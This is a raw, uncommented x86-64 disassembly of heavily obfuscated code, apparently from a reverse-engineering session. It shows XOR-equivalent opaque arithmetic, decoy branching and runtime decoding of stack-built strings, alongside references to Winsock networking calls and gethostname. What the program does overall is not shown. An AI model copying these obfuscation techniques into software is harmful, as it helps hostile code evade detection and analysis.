je 0x14010846f
mov rdi, rcx
lea r10, [rcx + 0x42]
lea rax, [r10 + 0x40]
cmp rcx, rax
jb 0x140108b1b
lea rax, [r10 + 0x1000]
cmp rcx, rax
jb 0x140108af8
lea rax, [r10 + 0x3e8]
cmp rcx, rax
jb 0x1401082a4
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x140108281
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x14010825e
lea rax, [r10 + 0x61]
cmp rcx, rax
jb 0x14010844e
lea rax, [r10 + 0x400]
cmp rcx, rax
jb 0x14010842d
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x14010840c
lea rax, [r10 + 0x64]
cmp rcx, rax
jb 0x1401083e1
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401083be
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14010839d
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x140108389
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140108366
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140108352
lea rcx, [r10 + 0x3e8]
cmp rdi, rcx
ja 0x140108331
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010830e
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401082e8
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401082c7
mov rdi, rcx
lea r10, [rcx + 0x200]
jmp 0x1401080b5
movabs rdx, 0xe7d7d72e0489d94d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1b
add bl, dl
jmp 0x1401080a8
movabs rdx, 0xb0f05c5f150c783f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x47
add bl, dl
jmp 0x14010804e
movabs rdx, 0x7a08e190258f1731
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x57
add bl, dl
jmp 0x140107fd9
movabs rdx, 0x3f44be69523d898
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x140108975
movabs rdx, 0xcd0cd117a5a6778a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010899b
movabs rcx, 0x96255648b629167c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1401089be
movabs rdx, 0x5f3ddb79c6abb56e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 2
jmp 0x1401089e2
movabs rdx, 0x285660aad72e5460
mov ecx, Ordinal_50
jmp 0x14010850e
movabs rcx, 0xf16ee5dbe7b0f352
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3e
jmp 0x140108a2f
movabs rdx, 0xba876b0cf8339244
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401086c1
movabs rdx, 0x839ff03e08b63136
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x1401084b1
movabs rcx, 0x4cb8756f1938d028
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x18
jmp 0x140108ae1
movabs rcx, 0xc375c269c27f5d85
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x5d
mov byte [rbp + r9 + 0x4d0], bl
jmp 0x140108af0
movabs rdx, 0x8c8e479ad301fc77
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x41
jmp 0x14010864a
movabs rdx, 0x55a6cccbe3849b69
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x21
jmp 0x14010860c
movabs rdx, 0x1ebf51fcf4073a5b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7d
jmp 0x1401085d0
movabs rcx, 0x82f738ecefdae272
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x1e
jmp 0x140108ae1
movabs rdx, 0x4c0fbe1e005d8164
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140108a8f
movabs rdx, 0x1528434f10e02056
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
jmp 0x1401088f0
movabs rdx, 0xde40c8802162bf48
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140108a2f
movabs rdx, 0xa7594db131e55e3a
mov ecx, gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140108a2c
movabs rdx, 0x7071d2e24267fd2c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x1401089e2
movabs rdx, 0x398a581352ea9c1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401089be
movabs rcx, 0x2a2dd44636d3b10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14010899b
movabs rdx, 0xcbbb627573efda02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xe
jmp 0x140108975
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14010867d
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4f
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x61
je 0x1401088cc
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x140108733
movabs rdx, 0x8a9421a78870102b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2d
add bl, dl
cmp rdi, 0x3e8
jae 0x1401088a3
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x1401087e3
movabs rdx, 0xcb12ab245b148b3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x64
jb 0x1401083ff
movabs rdx, 0xf01d7739b5fa55ca
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0xc]
jmp 0x140108977
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401086a9
movabs rcx, 0x80fd12f9a548f626
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xa
jmp 0x140108ae1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401086d6
movabs rdx, 0xeecc08978443b842
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401088f0
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140108703
movabs rdx, 0x9382790452bbdb6c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401089e2
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401085d2
movabs rcx, 0xca69f3d342393c7a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x56
jmp 0x1401089be
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010875d
movabs rdx, 0xc17b9c7677ed7139
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x71
jmp 0x140108975
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140108789
movabs rcx, 0x2f4a921456e83355
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x53
jmp 0x1401089be
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401087b3
movabs rdx, 0x66320ce346659463
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4b
jmp 0x1401089e2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010860e
movabs rcx, 0x9d1987b235e2f571
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x17
jmp 0x140108a2c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010880f
movabs rcx, 0x1fa25f34a91ec4c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
jmp 0x140108ae1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010882c
movabs rdx, 0x6fc91b91298cae68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401086c1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140108849
movabs rdx, 0xdd98112f08877084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14010850e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140108875
movabs rcx, 0x4b6706cce78232a0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401089be
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14010864c
movabs rdx, 0xb935fc6ac67cf4bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x140108975
movabs rdx, 0x2704f208a577b6d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x4d0]
jmp 0x1401086fb
movabs rdx, 0x5dec6cd794f517e6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x4d0]
sub bl, 0x4a
add bl, dl
jmp 0x140108a5f
movabs rdx, 0x1c1c74b89099ff4b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xd
jmp 0x1401089e2
movabs rcx, 0xe534f9e9a11c9e3d
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x55
jmp 0x1401089be
movabs rdx, 0x7766044bc221dc21
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x19
jmp 0x140108975
movabs rdx, 0x9970eade3271a05
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x23
add bl, dl
movabs rcx, 0xb9134a12db90651
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x37
add cl, r8b
mov byte [rbp + r9 + 0x4d0], cl
inc r10
jmp 0x1401089be
movabs rcx, 0x9bc81910042c57e9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5f
dec r9
jmp 0x140108af0
movabs rdx, 0x64e09e4114aef6db
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 3
add bl, dl
movabs rdx, 0x4278af701d36675f
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, 0x67
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x4d0], cl
jmp 0x140108a2c
movabs rcx, 0x2df92372253195cd
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x65
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140108af0
mov r8, rdx
movabs rcx, 0xc02a2dd44636d3b1
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0x29
movabs rcx, 0x79602a3f0cb3c86d
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 5
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x4d0], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x94d3e7a6847278f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x4d0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140108ae1
movabs rcx, 0x525b3836673c1195
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x13
movzx eax, byte [rbp + r9 + 0x4d0]
add rax, r10
add r9, rax
inc r9
jmp 0x140107fc6
movabs rcx, 0x432166c13611b623
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
jmp 0x140107fc3
movabs rcx, 0xc39ebf246945515
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x6d
jmp 0x140107fb3
lea rdx, [rbp + 0x15e9f84]
jmp 0x140108b57
lea rdx, [rbp + 0x15d500b]
jmp 0x140108b57
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0xe0]
call fcn.1400ca3f4
mov r12, rax
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.1400c9c14
nop
lea rcx, [rbp + 0x100]
call fcn.1401aa298
mov bl, al
lea rcx, [rbp + 0x100]
call fcn.140091e30
test bl, bl
je 0x14010bad1
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xf50]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x120], 0x45
mov byte [rbp + 0x121], 0x75
mov byte [rbp + 0x122], WSASetLastError
mov byte [rbp + 0x123], 0x66
mov byte [rbp + 0x124], 0x76
mov byte [rbp + 0x125], 0x64
mov byte [rbp + 0x126], Ordinal_46
mov byte [rbp + 0x127], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x128], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x129], 0x7d
mov byte [rbp + 0x12a], 0xa
xor eax, eax
mov dword [rbp + 0x12b], eax
mov word [rbp + 0x12f], ax
mov byte [rbp + 0x131], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0x650c9aba69d21100
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r11d, 0x80
xor r9d, r9d
cmp r9, 0x12
jae 0x1401096bb
movzx r8d, byte [rbp + r9 + 0x120]
mov rdx, r8
cmp rdi, r9
ja 0x1401096b2
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140108c7e
lea rcx, [r9 + r14]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
jmp 0x140108f19
je 0x14010963b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401095ba
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010955f
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140109511
cmp r10, r9
ja 0x1401096a9
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x140108ccf
movabs rdx, 0x4d8dee8fdf1f3380
jmp 0x140108ee5
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140109505
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401094e6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401094c4
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401094a1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140109481
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140109472
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140109178
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140109159
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010913a
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010912b
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14010911c
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401090fd
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401090de
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401090cf
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401090b0
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x140109091
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140108d2a
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140109690
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14010966d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140108f21
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140108efe
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140108edb
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140109072
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140109053
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010900f
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140108fe5
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140108fd6
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140108fc7
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140108fb8
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140108fa9
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140108f9a
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140108f7b
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140108f5c
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140108f53
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140108f44
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140108d2a
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x140108d2a
movabs rdx, 0x1561edcdd3c3c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
jmp 0x140108d1d
movabs rdx, 0xf9f345184e14b180
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
jmp 0x140108cab
movabs rdx, 0xf2906b53beed2680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
jmp 0x140108c50
movabs rcx, 0x6c6f747ef8f99c00
jmp 0x140109163
lea rcx, [r9 + rsi]
jmp 0x140109147
movabs rcx, 0x5da9c0f5daaa8600
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109557
movabs rcx, 0x5646e7314b82fb00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010957d
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x140109107
movabs rcx, 0x478133a82d33e500
jmp 0x1401090e8
movabs rdx, 0x401e59e39e0c5a00
jmp 0x140109249
movabs rcx, 0x38bb801f0ee4cf00
jmp 0x1401090ba
movabs rcx, 0x3158a65a7fbd4400
jmp 0x14010909b
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
mov byte [rbp + r9 + 0x120], bl
jmp 0x140109665
movabs rcx, 0x177eac2a8ab2dd80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
cmp r10, 0x7a
jb 0x140109002
movabs rcx, 0x78b1622884e0b100
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx + rcx]
jmp 0x14010952f
movabs rcx, 0x101bd265fb8b5280
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401091d0
movabs rcx, 0x8b8f8a16c63c780
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109197
movabs rcx, 0xd153975f3abb3500
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109656
movabs rcx, 0xc9f0bd9aab93aa00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010960a
movabs rdx, 0xc28de3d61c6c1f00
jmp 0x140109249
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401095a8
movabs rcx, 0xb3c8304cfe1d0900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401095a5
movabs rdx, 0xac6556886ef57e00
jmp 0x140109299
movabs rcx, 0xa5027cc3dfcdf300
jmp 0x1401092c2
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140109554
movabs rcx, 0x963cc93ac17edd00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010952f
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14010920d
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x14010944a
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x140109305
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
cmp rdi, 0x1000
jae 0x140109422
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x14010939c
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010902c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140109236
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109656
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010925d
movabs rdx, 0xa9e190a8dc8d7d00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x14010946b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140109286
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401095a5
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401092af
movabs rdx, 0xc00a1df68a041e00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010957d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401092d8
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109557
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14010919a
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010952f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010931d
movabs rdx, 0xe8a9cbaf9d5d9a80
jmp 0x14010951b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140109346
movabs rcx, 0xf76f7f38bbacb080
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109500
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010936f
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401094de
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401091d3
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140109653
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401093b4
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x140109220
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401093dd
movabs rdx, 0x3d9a94040ba45900
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010960a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140109406
movabs rcx, 0x4c60478d29f36f00
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401095a8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010902c
movabs rcx, 0x53c32151b91afa00
jmp 0x140109270
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x120]
sub bl, al
add bl, dl
add bl, r8b
jmp 0x14010957d
movabs rdx, 0x877715b1a32fc700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x120]
add bl, dl
jmp 0x1401095d8
movabs rcx, 0x90079678e7831680
jmp 0x140109386
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x1401095d5
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r11b
jmp 0x1401095a8
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
jmp 0x1401095a5
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
jmp 0x140109557
movabs rdx, 0x54f0c8546e46be80
jmp 0x14010951b
movabs rdx, 0x462b14cb4ff7a880
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, r11b
mov byte [rbp + r9 + 0x120], r8b
inc r10
dec r9
jmp 0x140109665
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r11b
movabs rcx, 0x83c5a8cf5b9c0180
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, bl
add r8b, cl
add r8b, r11b
mov byte [rbp + r9 + 0x120], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140109665
mov r8, rdx
movabs rcx, 0x19d9fa2ff50a6680
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r11b
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x120], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r9 + 0x120], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140109656
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r11b
movzx eax, byte [rbp + r9 + 0x120]
add rax, r10
add r9, rax
inc r9
jmp 0x140108c3d
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r11b
jmp 0x140108c3a
lea rcx, [r9 + r15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r11b
jmp 0x140108c24
lea rdx, [rbp + 0x148b320]
jmp 0x1401096c2
lea rdx, [rbp + 0x9c78a0]
jmp 0x1401096c2
lea rdx, [rbp + 0x120]
mov r14d, 1
mov dword [rsp + 0x20], r14d
lea r9d, [r14 + 0x3f]
lea r15d, [r14 + 1]
mov r8d, r15d
lea rcx, [rbp + 0xf50]
call fcn.140089ca0
nop
cmp qword [rbp + 0xfd8], 0
je 0x14010bac4
